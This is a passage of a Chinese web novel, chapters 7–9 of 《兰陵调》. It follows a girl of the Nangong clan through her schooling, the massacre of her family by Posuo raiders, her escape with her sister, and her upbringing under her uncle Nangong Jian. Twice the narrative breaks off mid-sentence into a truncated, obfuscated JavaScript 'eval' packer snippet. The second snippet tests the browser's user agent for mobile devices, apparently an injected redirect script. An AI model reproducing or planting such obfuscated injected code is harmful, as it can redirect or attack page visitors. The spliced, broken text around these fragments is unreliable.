《兰陵调》 7. 南宫世家(一) 从我有记忆开始,世界就是个无形的竞技场。 我的父亲来自南宫世家一脉不起眼的旁支,无功无禄,仅凭早年分得的几十亩良田作为生计。在秋收以后,他手上有点闲钱,就会去乌潭的庙会呷酒打牌。有一回凭着运气,赢了滇西王家一副好牌。王家世子便把府中新买的几名姬妾送给了父亲。父亲犹豫了下,想想灰白的墙皮和几个哭闹的孩子,只挑了一个眉眼清秀的带回家。第二年,我便出生了。 我的出生没给父亲带来任何情绪波动,在诺大的威赫中原的南宫世家里,有的是德颜双齐的女孩子。小时候的我性格倔强,经常横眉怒目,惹得长辈们都不爱抱我。在遥远又模糊的童年记忆中,只有母亲像抱着珍宝一样抱我,喃喃说:“我的囡囡,我的宝贝。”只可惜这样温暖的记忆没有很久,母亲在我很小的时候就过世了。 我想我是不讨人喜欢的,无论是幼年还是长大。有人生来面朝阳光,也有人不是这样。小时候看见父亲笑眯眯的坐在廊檐下,我也想跑去撒娇。可是当几个姐姐花团锦簇地缠着父亲,那念头就消散了。同龄的女孩子们都如鲜花般灿烂,而我宛如边角的阴影。 “去啊,和爹爹说,囡囡学会打络子了。”母亲鼓励着。 我定住脚不肯迈,不知为何,我生来不知如何让他人高兴。 母亲离世的季节正是深秋,家里换了一个奶妈给我梳头穿衣。她是个挺凶的老嬷嬷,总是很早让我起床。我常常赖床,也不好好吃饭,她大概不喜欢我,有一次就说:“囡囡快六岁了,是进学的年纪了。” 听到进学二字,心中的酸楚被一股渴望所替代。 南宫世家是皇室姻亲,那是祖皇帝留下的规矩。听老人们闲来无事的唠嗑,南宫氏与皇室有许多千丝万缕的缘分。我不太明白其所以,不过本朝世代确实许诺本家的女孩可以入主中宫。因为此条规定,所以在我们家,女孩要比男孩金贵得多。一经适龄,便入书斋与教坊,识字习理,女工修容;凡有出类拔萃者,再教之琴棋书画。 就这样,依仗先祖庇佑,尽管我生在遥远的微不足道的凡尘角落,依然有仰望未来的资格。我小心走到父亲面前,父亲是当地有名的美男子,明眸皓齿,如庙会的女伶般清俊。他一把抱起我,在我脸上胡乱亲一通,见我眉头拧得通红,就朗朗笑起来。 “小乖乖长大咯。”他一边抱着一边打量,“过些日子,和姐姐们一起去进学,将来做个大家闺秀。” 进学的地方是离家几十里外的一座幽深大院,甬道周围全是参天大树。房舍却是很陈旧的,窗棱都是剥落的朱砂色。我最初几天见到的只是几个嬷嬷,指引我们铺床叠衣。我和其他几个女孩睡在一张床上,一首一尾,睁开眼便是别人的脚丫,转过身,又闻到木头发霉的味道。到了白天,嬷嬷们都忙着煮饭打扫,年纪略大的女孩聚在东小院做针线;我想问问什么时候可以读书,嬷嬷就给了一个毽子,让我去院子里玩。 后来,等到年长了几岁才明白,这个书塾只是看顾孩子的地方。父亲家中艰难,他本不会持家理财,靠祖上留下的几个田庄年年欠收。他把我们几个女孩子送去书塾,既是遵祖训,也是节省开支。等到十几岁再接回来,正是议亲的年纪。靠着世家庇佑,即使去不了皇城,也能在当地名流绅士中找一户好人家。 无论如何,我的一切是源此旧宅。旧宅的黄铜匾额上写着德颜容工四个字,因为年代久远都落了漆。在补漆的那一日,书斋终于来了位教书先生。 女孩子们都很兴奋,因为旧宅的生活颇是无聊,先生来了就能说些新鲜事。我们最爱听他聊山海经,比如在茂林深处的南邻人如何粗鄙野蛮,西凉的蛇女会蛊惑人心。我竖着耳朵,每每想问得仔细点,老先生就耸耸眉毛:“等你长大了,自己去瞧瞧吧。” 因为我的功课都很出色,老先生便十分喜欢我。对于女工来说,我更愿意练字,而背诵更不是难事,所以每每我朗朗上口,把自己一知半解的诗文倒背如流时,老先生总会爱犊之情汹涌澎湃,恨不得把所知所学一股脑教给我。 我在旧宅住了四年,直到庆禧十三年。我记得非常清楚,那年南邻大军直入平阳城,那座遥远又熟悉,不可一世的皇城。我们地处荒僻,周老先生带来的这个消息。 国破家亡。他看上去没有激愤也没有悲痛,只是在我研磨的时候,默默自语。 “南蛮野性未训,但质朴无华,如中原缓缓融其性,养其德,铸其礼,则未来百年繁盛。”那是老先生曾经教导的话,他那时是谦逊的,也是胸有成竹的。 庆禧十三年,我的确感到了不能言说的失落。 因为南军入侵而皇城无主,各地人人自危,书塾便遣我们一众女孩子回家。与我一行的两个姐姐,一位已说好了婆家,此次便正好回家待嫁。夫家在巴陵郡,家中几代做着小官,本地也有良田大宅。父亲对这门亲家很满意,不停催促家姐回家。 因为马车太小,又要装运行李,我们三个都挤在一处。 “小冰,你坐到木箱子上,腾着空好放干果。” 小冰就是我了,我瞅一眼几大罐子的干果,都是旧宅的老嬷嬷们领着女孩子做的,也不知道吃到何时才能吃完。 随即爬到后面软垫上,对他们不理不睬。 于是两个姐姐都开始埋怨我,因为她们之中得有一个去坐木箱子了。不过她们也不敢勉强,相处多年,彼此都知道脾气。 待嫁的那位姐姐闺名佑珍,是父亲亲自取的,他应该很疼爱她吧。她坐在木箱子上颠簸,发髻难免碰到车顶棚,没一会发髻便散了。我对她笑嘻嘻道:“姐姐,坐着木板挺舒服的吧。”见她不理,又说:“你腰板儿挺得真直啊,怪不得嬷嬷常夸你,条儿顺。” 哎,要是我能长成佑珍姐姐那样就好了。我自顾自地幻想,千万不能像旁边的阿楚姐姐啊。 佑珍和阿楚聊起旧宅琐事,比如嬷嬷们教的针织花样都过时了,比如周老师多么严厉刻板,比如茶水饭菜简陋。这些都不是我爱听的,没一会便在车上睡着了。 我家的老宅在一片山茶园里,气候温热的时候,可以看见漫山遍野的山茶花。祖奶奶家经营着本地几乎所有的山茶树,曾是乌潭镇的首富。祖爷爷打的一手好算盘,家祠里供的一把鎏金算盘,一颗颗珠子乌溜光亮,他当年两手拨弄着木珠儿,让南宫氏在本地立稳了脚跟。只是但凡有立业的祖辈,便有败家的子孙。我的爷爷不遑多让,一把豪赌输掉了几座茶园。再接再厉几年,留给父亲的只剩下落魄的老宅。那间老宅是祖奶奶的嫁妆,宛如陈旧的樟木箱子,静静蹲踞在乌潭镇的一隅。 十岁那年,我就对这里感到厌烦。我觉得自己有无限精力,可以撑开樟木箱子,去看看没有山茶花的世界。书塾还不够远,我渴望去更远的地方。佑珍姐姐终于出嫁了,可我一点都不羡慕。父亲如释重负的表情,仿佛是交付了一件大事。我有些害怕,怕那也是自己的结局。 我小心翼翼隐藏着心事。有一日父亲提着一封信,意味深长地说:“我的小宝贝,你可是要长出息了。” 他说着话时,正是晚饭前落座那会儿。所有人都看着我,我把脸颊转到一侧:“爹爹,你瞧瞧,阿楚姐姐把我的脸给划了。” 父亲立刻走过来,瞧见上面的划痕,就生气数落起嬷嬷们来。 “将来给夫家瞧见,可伤了南宫家的体面。”这大概是他立刻想到的。 阿楚控诉道:“阿爹,是她先抢我的小蛐儿的;她抢了又不玩,还给弄死了。” 我拿手捂脸,朝她眨眨眼:“谁要那东西,怪脏的。“ 阿楚从木凳上一蹦而下,追着我要打。父亲更加生气,让婆子们把我俩分开。他那一掌拍在桌上,指着信说:“周老师还指明要好好教导你,我真没看出来你们哪个能指望将来的。” 阿楚踢了我肚子几下,我正拼了命要踢回去,一听到是周老师的信,就挣脱了婆子跑过去。 信封里有张五色花笺,以正楷写着:乌潭南宫籁幼女,性敏慧,情善真;推至雍州本院,育德衍才。下方盖着旧宅书塾的章戳,以及周勍两字。 父亲说:“周老师推荐你去雍州本家进学,那可是离皇家一步地的地方。” 果真如此么,我心中大喜。看着爹爹得意的脸色,那应该是个好地方。 阿楚也感觉到了,立刻说:“我也要去。” 雍州是南宫世家的繁盛根基之地,历代入宫的女子皆从那里挑选。本家为表示公平,允诺各地族亲,凡有出色的女孩,经当地书塾举荐也可入京。 不知道周老先生为何要举荐我,我从来不是他描述的那样美好。比如阿楚就背后骂我“磨人精”;书塾的老嬷嬷们说我“古怪”,她们都喜欢温柔知礼的佑珍姐姐;日夜读书,也不是真心喜欢,只是盼着被人夸赞,好显得与众不同。周老师就这样被骗了,用他几十年的名望保举了一个古怪的女孩。 阿楚愤愤不平,大概女子之间才能互相看透其本质。她说我在书塾里靠着作怪卖弄才得到的举荐,游说爹爹别让我去雍州,免得得罪本家亲戚。 我登时大怒,气得脸通红,她要坏了我的好事,我也不会让她好过。哪知家中女眷都纷纷说:“现今外头兵荒马乱,雍州一定不太平。孩子这么小,怎好远行。”这下父亲真的犹豫起来,为现实的担忧胜过了他的虚荣心。南岭大军虽然撤出了皇城,但是各地流匪盗寇不少。南宫世家与皇室的渊源世人皆知,怕是雍州本家也遭了罪。他想到这层,骨子里的热血突然翻腾起来。 “这帮蛮子,若是打到这来,我一定与他们同归于尽。” 父亲天生一副俊美的容貌,一大爱好是唱小乌巷子戏,常常如痴如醉,忘了茶园外的世间事。可是庆禧十三年,他却清醒了一回。 “爹爹,”我扯着他的袖子,好把他的思绪扯回来,“爹爹,周老师呢?我可以和他一起去的。” “好孩子,现在不好去雍州。”他有些沉痛,“哎,今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我有点害怕,递过信。管家提着灯回来,说方才那人走远了,没有看见其他人。父亲展开信,借着幽暗不明的烛光,我看到信上写着:国丧之后,主宅焚毁,家父罹难。请族兄各自避祸,女眷暂迁巴陵小仓。雍州南宫简。 “罹难是什么?”我似懂非懂。 父亲说:“就是和今上一样,去天上了。”他拿着信,想去告诉其他人,却在雪地踉跄了一步。 后来我才知道,罹难的是庆禧朝南宫氏的主人南宫冒。庆禧十三年,他被婆娑人砍了脑袋,脑袋给挂在烧坏的住宅大梁上。后来当地的流匪进来偷东西,又一箭射了下来。 父亲吓坏了。他把几房姬妾都叫起来,让她们第二天一早都去乡下的庄子里。家中没什么值钱的东西,父亲唱戏时珍藏的珠罗纱都拖去地窖了;祖奶奶留下几件金簪和玉饰,都包好塞进行囊。父亲说,让阿楚姐姐和我去巴陵。 我可不愿意去投靠大姐姐。那夜里阴沉沉的,只有晃动的烛光和女人们急切惊慌的脚步。阿楚姐姐也不肯走,她听了家中女眷议论,说乌潭远离皇城地方偏僻,战事纷乱不会惹到我们。 父亲把我和阿楚叫道面前,站在烛光明亮的地方:“你们要记得,自己是南宫家的女儿;言行举止,都心系家族荣誉。”他给我们一人一把鎏金鞘的小弯刀,“收好。若落入他人之手,你俩不可苟活。” 阿楚大哭起来。她是主母的亲生女儿,自幼被家中娇养,恐怕做不了抹脖子的事情。 我拔出小刀,刀刃闪着森森寒意。既然是南宫家的女儿,就不能白白死去。 父亲一把握住我颤抖的小手,痛楚地说:“小冰,你那么机灵的孩子…等到了小仓,阿爹一定…” 他未说完,只听远处一声炸响,仿佛是清明寺的丧钟从天坠地。我们惊疑片刻,接着又听到踢踏马蹄声,由远入近。附近的村户都醒了,山茶园的村民纷纷跑出来,有人呵斥,也有人叫喊。马蹄声越来越近,伴着刺耳的铃铛,一夜冲刷了乌潭几十年来寂静。 我听得最清楚的一句。 “诛杀南宫氏。奉天昭命,诛杀佞臣南宫氏。” 谁要杀我们,为何要杀我们。恐惧淹没黑夜,铜铃声恍若符咒,要让所有人坠入地狱。 父亲把我和阿楚塞进马车,阿楚死死拽着父亲的衣袖。“爹爹,你怎么不上车?” 阿楚的阿娘也很早过世,她只有爹爹。 身后的打杀声越来越近,父亲把几件行李也塞了上来。老管家调整马头,我看父亲没有上车。 阿楚见势也要下去,父亲挡住车门。我瞧见远处熊熊火光,大声叫道:“阿爹,你会死的。” 阿楚拧着他的手指不肯放,父亲哄着我们:“爹爹要去安置其他人呢。阿楚在南巷的外婆,她可走不了路。还有元宝一家,元宝对你们好不好?”他看着我,“爹爹若是不去,他们可要遭罪了。” 对啊,元宝一家要被我们连累了;还有,旧宅书塾,我的眼泪突然哗哗直流。 阿楚在惊惧中晕了过去。父亲嘱咐了管家几句,我们一路东行。 那天晚上,我在马车上看着自家的老宅在大火里瓦解,山茶园也付之一炬。阿楚说爹爹是不会死的,家中有地窖也有密室,他可以躲进去。救了元宝一家,救了所有人,他就能躲进去了。可我明白他是死了,杀身成仁,那是周老师教的。 8. 南宫世家(二) 就这样,我告别了自己的童年。尽管有父亲的教诲,也哀悼着南宫氏的劫难,可我把自己的命看得比什么都重要。逃亡路上波折重重,路上总有婆娑人来盘查诘问,我就模仿周老师的外省口音同他们搭话打诨,好让别人觉得我们一行都是来乌潭求医的,而马车里的小女孩只是嚷着想回家。那夜我们从大火中跑出来的时候,几队马车紧追在身后。管家驾车躲进树林,那是我和阿楚从小玩耍的地方,丛林茂密暗道迂回。婆娑人的马脖子上系着一枚铃铛,所到之处叮当作响,我听见那声音就觉得四肢僵直无法喘气。阿楚醒了过来,哭着要爹爹。我捂住她的嘴,躲在两块大石的中缝里。那两块大石看似合并无缝,但中间有个空隙,要扒开层层湿漉的草丛才能看到。管家放掉一匹马,尽量把马车藏好,自己爬到树上。那个空隙实在太小,我和阿楚就在浸着泥水的草地上坐了一宿。 第二天我就长了红疹,先是脸上,然后蔓延到整个身体。我们走的都是小路,请不到大夫,每天我忍着奇痒无比的双手,再忍着不去抓身上更痒的地方。老管家在大江口徘徊了几日,终于买通了船家,愿意把姐妹二人运到巴陵,条件是交换我们随身所有金银财帛。 我找出那张书塾荐书,悄悄藏好。这船有两层甲板,船家要我们藏在甲板间的夹缝里,他说沿江有几个岗哨,南岭人会来艘船,如今只有拿着行江证的人才能上船。 “好孩子,忍一忍,三天就到了。”管家利索地替阿楚扎好一个包裹,他是跟着主母嫁到南宫家的,阿楚是他最疼的孩子。 “三小姐。”松老伯没有忘记我,他两眼噙泪,“好生照管自己,如今你们两个…” 我没有像阿楚那样依恋。皮疹引来了高烧,如今要憋在不透气的甲板夹层,只怕要丢了命。 可惜只有一条路。船家把甲板盖上的时候,阳光也一同抹去。这几日惊恐焦虑,餐风露宿,阿楚憔悴的面庞一直在哭泣。我被放到角落,手脚红肿,嘴唇干裂。每日中午,甲板移开一角,船家会扔几个馒头进来。阿楚摸索着馒头皮,把脏的去掉,再分给我。在黑暗的,散着异味的夹层里,我嚼着馒头皮,突然没由来的一阵委屈,那比失去至亲失去家园更让人痛心。 不知道南宫家的其他女子遭遇如何,反正看见佑珍姐姐的时候,我的嫉妒之情如寒风呼啸。佑珍在寒风里穿着绯色锦缎袄儿,灰毛领衬着她的脸蛋如优雅的白瓷。 她一脸惊讶望着我。 当然咯,我的模样是够骇人的,后面还跟着疲惫惊慌的阿楚。 幸好阿楚冲过去抱住她,大呼阿姐。她俩是嫡亲姐妹,佑珍缓过神来。 巴陵郡由成安侯驻守,即使皇城大乱,这位老将军还是保了一方安宁。佑珍姐姐接到我们的第二日,就随家公家婆带着拜帖去登门了。成安侯的原配夫人是河西南宫氏,算起辈分来是我们的祖奶奶。佑珍是家中长女,温柔谦逊,一直以南宫氏的女儿为荣。如今横遭变故,她依然打扮得体,面容冷静。她对成安侯老将军请安,询问可否借兵去乌潭,救出父亲。 老将军自然没有借兵给她,却派了一队人乔装农户,尽快去乌潭老家探听消息。如今恭王已从河西启程,下月就到雍州,重制兵符后即可收编军队。到时安置各地安防,婆娑人就不敢趁势打劫了。 这些都是阿楚告诉我的。我躺在床上,皮疹没有褪去,高烧愈发严重。外面萧肃的世界漠然淡去,恍惚看见庙会的灯笼,满眼红彤彤的,父亲站在凉亭里唱巷子戏,咿咿呀呀的声音传在耳边,好像有人在哭。我咽不下口水,喉咙也喊不出声,那样就读不了书了。心中徒然恐惧,旧宅的书塾都烧了。我抄写在竹笺上的小楷,清风送小酌,流云挽双髻,都被大火嗞嗞燃尽。 不知道周老师去了哪里。周老师总和我们说好多故事,南宫皇后到底长什么样,他却看不清楚。 他说他只是一个主事官,被挤到殿门前,当然看不清楚。” 那年镇国公出征西凉,百官在皇城正殿为他送行,文臣武将济济一堂。镇国公是庆禧朝的铁柱石,金戈铁马三千里,安邦定国。连我都听说过。 “陛下与国公对饮,皇后亲奏一曲兰陵调助兴。只是花开荼蘼,万物有期。镇国公战死西国,中丘屡战屡败。” 周老师说这些的时候,换不来我的共鸣。我老是好奇皇后长什么样。应该像佑珍姐姐那样吧,端庄优雅。哎,要是我能亲眼看看就好了。 我睁开眼睛,看见一个女孩也望着我。茫然中聚拢视线,真的有陌生人。我努力回想,这里是巴陵卢府,佑珍的夫家。 那个女孩朝我眨眨眼,就转头说:“阿爹,她醒了。” 接着就走过来一个素衣男子,他浑身缟素,像是在服丧。 “没有退烧呢…”男子担忧地看着。 我想找茶杯,却被那个女孩挡住了视线。她长得真可爱,大大的杏眼,眼神明亮,即使穿着素服,也挡不住她的生机勃勃。 那个男子自我介绍:“我是南宫简,接到卢府的信,从小仓赶来。算起来,你父亲是我的从兄。”他挺和气的,还带了位长白须胡子的大夫。 大夫反复看了我身上的红疹,就说:“好孩子,别害怕。不会有人再追杀你们了。” 我被喂了汤药,裹上干燥温热的大毛毯,两只脚丫捂着烫砖。这场病慢慢好了,可是又没有完全好,我长大后也会反复出红疹,在紧张不安的时候。 南宫简在去年冬天去了皇陵,所以逃过雍州杀戮。他带着女儿,以及幸存的家人住在小仓县。 “那是你们的家乡哦。”他笑着说。 那会儿我和朱翼正趴着识地图,阿楚在一旁剥栗子。没一会佑珍也进来了。 佑珍姐姐带来消息,乌潭老家已是一片焦土,没有父亲的踪迹。她是下定决心,一定要回去看看。 佑珍总有些做作,这是我从小不喜欢她的原因。我的不喜欢是不加掩饰的。 “对啊,好阿姐。你快去吧,一定要找到爹爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我很为难,佑珍却真诚说道:“姐妹和睦从来是阿爹希望的,不必谢。” 南宫简望着我的眼神,仿佛是沉思又仿佛在命令,却无法抗辩。我只好说:“谢谢大姐姐。” 于是气氛缓和起来,我们又问了一些其它事情。 原来去年秋天,先皇已密函发之雍州,怕国难殃及南宫本家,旨意众人先去避难。只是家翁不愿离开,只好把女眷和孩子移到小仓。没想到原先防备的是南岭人,来的却是婆娑人。 佑珍愤愤地说:“为何婆娑人如此憎恨我们?” 我也想知道。 南宫简看着面前这群小孩,都睁大眼,仿佛想找他讨个说法。 “哦,这个是因为…”他在斟酌怎么同我们解释,“本朝开立之初,婆娑教是中原第一大教。先祖为了相助皇室正统,把他们赶出了中原。” 那时的我无法理解这些话。这时朱翼瞧见面前的女孩们,都红着眼憎恨婆娑人,就轻声说道:“阿爹,哎,那…那这些人也很可怜啊。” 9. 南宫世家(三) 我和朱翼相识于宣和元年。那年恭王长丰祭告天地,做了中丘皇帝。他是庆禧老皇帝的最小的弟弟。恢复开朝的那些日子,我听到卢府的几位书呆子叔叔们议论,说恭王得位不正,迎回太子才是正统。 可这些与我没什么关系,去乌潭为父亲发丧之后,世伯就带着我和朱翼回小仓。仿佛这是顺理成章的事情,佑珍想让两个妹妹都留下陪她,于是南宫简很自然地回答:“小冰这个性子,还是让我带走,好好教养。” 我暗自高兴,恭恭敬敬给卢家长辈磕头,还亲了卢家老爷子一口。佑珍的家公曾做过南方某州的通判,卸任后依然很得威望。我在门口拜别的时候,听到卢老先生对世伯悄悄说道:“旧城的老臣们皆是忧心…如今元相领着大家在东门跪着,祈望陛下救回太子。” 我抬头,却看到南宫简一脸淡然,他顾左右言它,不着痕迹地结束话题。 小仓县离得并不远,我和朱翼并肩坐在马车上。我试探地问道:“新皇初立,世伯不去皇城麽?”朱翼反问:“不去啊,为什么要去?” 南宫简骑马在侧,说道:“小仓风景秀美,我们可以多住会儿。” 我有些疑惑,他对皇城大事退避三舍,在卢府的几个月,也从不谈论朝事。 南宫简看透了我的想法,“小冰,知道南宫世家的祖训麽?世世代代,我们都恪守这条遗志。” 我生在外系,怕是不会知道。这个家族,总有些事让我费解。 “承蒙圣恩,南宫氏的女子世代入宫为后。”他就在我身旁,在春日的林荫路上,淡漠地陈述,“至于男子麽,我们世代不得入朝为官,不得议论朝政。” 没错,我猛然发现,在我可以回忆的几位叔伯前辈,他们或从商或务农,从来没有一官半职。还有父亲,他一生没有去过皇城。 这是为什么?春日的午后很温暖,柳条随风摇摆,都纠结在一起。 南宫简微笑道:“小月也问过为什么,你们长大后就会明白。 什么都要等到长大后,我望着路边努力发芽的桃枝。让我赶紧长大吧。 我在小仓长大,南宫简说的多住一阵子,其实是好几年。我们住的地方山峦连绵,一望无边。我初到的前半年,老在树林中迷路,沿着山间小溪的走势才找到出路。朱翼不愿与我游逛,她说山间有恶狼,专食人脑髓。她是故意吓我,让我待在房内学些礼乐雅味,好顺着世伯的心意。 朱翼很崇拜她的父亲,而我有点怕他。南宫简带着几个门客住在小仓,平时给我们当老师。他对我过目不忘的本事有些惊讶,不过并没有放在心上。衣食住行,诗书礼仪,都是和朱翼一样的待遇。 教书的门客先生对我有微词,我不喜欢抚琴作画这些雅趣,也不学棋艺;读经书的时候,又老是顶嘴。先生们当然去告状,于是南宫简悠哉地走来,风度翩翩。 “小冰,怎么老是口不择言呢”他用白洁如玉的手指慢慢地剥橘子。 先生说,女子之德,温良俭让;女子之才,通达明义。我点头如捣蒜,可世上没有那样的人。再者,他长篇大套女子当贤德的时候,老是瞪着我。 “所以你就说,古来圣贤教书育人,总有些虚妄。”南宫简挑着眉,仿佛刚才笑过了,现在又想笑。 “对啊。”我乖乖回答,那年我十三岁了,对许多事有了自己的计较。 他们比周老师差远了,周老师从不讲大道理。民间有吃肉的和尚,牢狱里也有冤屈的囚徒。 我拿出周老师的荐书,信纸被江水打湿过,拿在手里皱巴巴的。如今它没什么用处,我留着只为想念周老师。 南宫简发现了,拿过来细细看一遍,微微笑道:“看来你我有缘。无论如何,你都能找到我。” 是啊,我侥幸能够找到你,突然有些心酸。我得罪了他的门客,他会不高兴麽?这里山清水秀,我住得挺舒服的。 察言观色,他好像没有生气,只是有些漫不经心。 “既然你有荐书,那本家汉章院便正式收纳你。只是那个地方烧掉了。”他的口气好像烧掉了一块木头,“原来的女孩子都遣散回去。跟来小仓的只有小月和其他几个无处可去的孩子。” 我也是无处可去的孩子。 他举了举荐书,“小冰,可不要辜负周勍的善意。” 听他的语气,是不是认识周老师,我有些兴奋。三年来,他一直没有回信给我。 “世伯,周老师在哪里?” 南宫简却纠正我:“称我叔父。如果你愿意,就过继到我名下。” 我与生人很难亲近,当然,叔父已经不是生人了。可他与父亲不同,父亲是一眼即可望穿之人。 叔父对我的功课没有苛责,却要我去和先生们道歉。道歉要有诚意,必须亲手做点吃食。真的要大费周章麽,他们只是些书生食客。 “小冰,先生说女子当贤德的时候,你可以疑议这些说辞。但是,你要心怀善意。” 南宫简是雍州汉章院的主事,那是中丘最大的藏书馆,世家子弟读书的地方。 “胸怀宽广,心怀善意,当是做人之基石。你要记住。”他循循善诱,“世间万物,每人眼中都有不同样子。你若刻薄浅见,便入了下流。” 我才没有,悻悻吸着鼻子。反正厨房的燕大娘一直很忙,我就去帮忙煮了几碗面。叔父带着我去外堂书房,入了汉章院后要行拜师之礼。 “她是周勍的学生呢。”叔父说。 那时我身量长高了不少,头发用红绳挽着双髻,一副少女初长成的模样。可对面的老师们都老了,垂垂老矣,和周老师一般的年纪。 我的心舜地一紧。看着那些老先生的脸色,心就突突直跳。 叔父为什么不告诉我呢。周老师死了,他在皇城大殿上同朝臣们说了触犯天子威严的话,回去后就自缢了。那些老头儿,一脸钦佩。人间忠骨当如是。被南蛮侮辱,是国邦大耻;储君被掳,更是奇耻大辱;国邦的耻辱,就是他的耻辱。这是周老师眼中的世间模样。 我又出了红疹,在一个雨天,尔后葵水也来了。朱翼笑嘻嘻地看着我,说我长大了。她是叔父的独生女儿,与我同年,她生在八月十五,而我则是腊月生的。叔父在族谱里给我入簿的名字是玄冰,不过他一直叫我小冰,就像朱翼是小月一样。同我们一起住的还有青川姐姐,她曾是庆禧朝的女官,陪同嘉宁皇后一同入宫。庆禧八年,皇后仙逝,之后她回到本家,为叔父料理家务。 我想象过姐妹们相亲相爱的日子麽?在乌潭老家没有的事,自然也不会在小仓发生。青川根本瞧不上我,她曾是内宫首领女官,只听命于皇后。对于其他人,她就仰着脖子,用吊梢眼慢慢在其身上打转,一圈又一圈,直到你无所适从才罢休。 至于朱翼呢?朱翼真是一个天真可爱的女孩。她看见叔父老带着我骑马射箭,就用让人心疼的表情说:“阿爹有了小冰,都不要我了呢。”然后两眼鼓着泪,装得食不下咽。她是南宫家上至家翁,下至仆从的掌上明珠,从来随和亲切,也是老夫子口中贤德的模范。 “阿爹,小冰妹妹住了这么久,会不会想念姐姐啊?连我都想珍姐姐了。”她喜欢吃银杏果,我也喜欢。此刻她纠缠着叔父喂她。 “珍姐姐来信,想接小冰过去住一阵呢。” “对啊,阿爹。别墅里好多人的信都是我写的,你不是说过,要帮燕大娘写信回老家嘛?” “阿爹,明天又和小冰出门骑马?也带上我嘛?” 朱翼根本不喜欢骑马。她就像海棠糕面上的糖浆,使劲地缠着她想要的东西,并且对威胁到她的人,毫不留情地剪除。我就是威胁到她的人,尽管她隐藏得很好,可我明确清楚地感受到敌意。 “小冰真厉害啊,学什么都快。不像我,笨手笨脚的。”她又来了,把别墅的上下老少纳入她的麾下,尔后装做受害者,好像我是那个喧宾夺主的入侵者。 我气呼呼地跑到后山,那里有几副箭靶,就把箭靶想成朱翼,箭不虚发,这样当然学得快咯。 她也兴冲冲跑过来,兴致勃勃地看着我射箭。憋一眼牵着马的井生,娇声喊:“井哥哥,过来教教我。” 因为南宫简吩咐过,小姐们不能单独出行,所以井生总是跟着我。朱翼一定不高兴了。 井生有点受宠若惊,认真地平举双臂演示。朱翼自然是学不会的,所以要井哥哥演示好几遍。 “好准,飞流入雾烟波起。”她拍着手,在小瀑布旁一蹦一跳。我冷眼旁观,真想把她推下去。 “还给我。”一把夺过弓箭,我故意对着她说,“这是叔父做给我的,就我使着顺手。”掉过头去,又对井生说:“把马牵来,我们到宝塔去。” 我的脸色可不好看。井生最怕我,刚要抬腿,朱翼就笑嘻嘻地拦住他:“井哥哥,昨天我和阿爹说了,以后你就教我练弓箭。我可是下了很大决心,要把这个学好的。” “还有…”她使劲惹我生气,“河西的那匹小马驹,阿爹送给我了。你最懂蓄马,可要帮帮我。” 井生唯唯诺诺,他不敢得罪朱翼,又怕惹我生气。 我哪肯落下风,再说那匹马本来就是送给我的。我连名字都想好了。 “昨天我还骑着玩呢,对不对,井生?”我朝他使眼色,他故意看不到。 朱翼仿佛受了刺激,“可是阿爹说给我玩啊,呜呜…他最偏心。”她真能哭出来,楚楚可怜。若是她哭得人尽皆知议论纷纷,按照南宫简的脾气,一定把小马送人。 我气得推了她一下,她没防备,立刻伸手一抓,我被她拽住袖口,一起掉入河里。 初春的河水有点冷,虽然水不深,但水流湍急。我俩站不稳,手脚横叉在水里扑腾。井生和跟着朱翼的侍从,费了好大劲把我俩捞上来。 井生见我俩还在闹脾气,就威胁要请老爷来。我浑身湿漉漉的,可不想面见叔父。朱翼也是这个想法,她吩咐自己侍从回去取衣服。离我们不远处有一个两进院落,井生牵马,把我俩送过去梳洗。 那间院重新刷过漆,整理地很简洁。我在山上闲逛的时候,叔父从没带我来过。主屋中堂上只摆了一柱香,面前供几盆野生花。我冷得很,就甩开东侧卧室的帘子,随之扑面而来一股香味。窗边摆着一坛香炉,随着袅袅而上的烟雾,是一幅巨大的画像,从横梁下三寸垂地,画中有一个女人,栩栩如生,仿佛要从烟雾中走出来。 朱翼戳我的背,告诉我衣服送来了。我迅速换好衣服,注意力一直在画上。那女子眉眼弯如月,长发挽如云,白衿束腰,窈窕婀娜。 朱翼见我发愣,就说:“这是庆禧朝的嘉宁皇后。” 嘉宁皇后的画像怎么在深山里供奉。 朱翼不以为然地讲:“她是我的姑妈。” 那天我亲眼见到了南宫皇后的模样,画像上并不是一位端庄的皇后,而是一个花容月貌的女人。也许说她美太笼统了,这幅画总给我奇妙的感觉,好奇心让我多看几眼,右下角写着:春日流云,翠竹缭绕,香裙罗衣,朱门玉桥。 那种奇妙感觉没有消失,青川走进来了。 她非常生气,眉毛跳得老高。怒火是朝我来的。 “小冰,你这副样子来拜见先皇后,是叔父教的麽?” 我立刻指证是朱翼把我推到河里,我们来这里换衣服。 朱翼也不争辩,利索地束好头发,就要离开。 这时青川把压抑地怒火又转向她:“小月,许久不拜见姑母,上柱香再走。” 朱翼大概觉得理亏,就停下步子。青川点了两柱清香,我和朱翼一人一柱。 我们跪在蒲团上,面前的灵牌刻的是:吾妹南宫氏云罗。 青川在前,恭敬说道:“姑母见谅,小冰小月稚嫩无知。今南宫氏横遭劫难,姑母在天之灵,保佑我族人平安顺意。今后初一十五,吾等晚辈皆会诚心拜见。” 我双手合十,偷看一眼朱翼,她与青川一样,闭眼默念。我也闭上眼睛,香气缭绕,即使闭上眼睛,还能看见南宫云罗的卓然身姿。 院落里有处井水,我们焚香完毕后,青川说今后焚香之前,都要用井水洗手净面,这样见到嘉宁皇后才不唐突。她这话是着重对我说的,除此之外,又毫不留情地奚落我一顿,大体就是我这个来自乡下的野丫头乱跑乱闯,打扰了先皇后的宁静。 我笑嘻嘻地回答:“当然咯,我本来就没见过世面。” “青川姐姐,皇后的画像逼真麽?是宫廷画师作的?” 青川仿佛听到了一个蠢问题,眼皮上翻。 “画师有这等技艺?叔父年轻的时候是中原丹青第一人,祠堂中留存的画像都是他作的。” 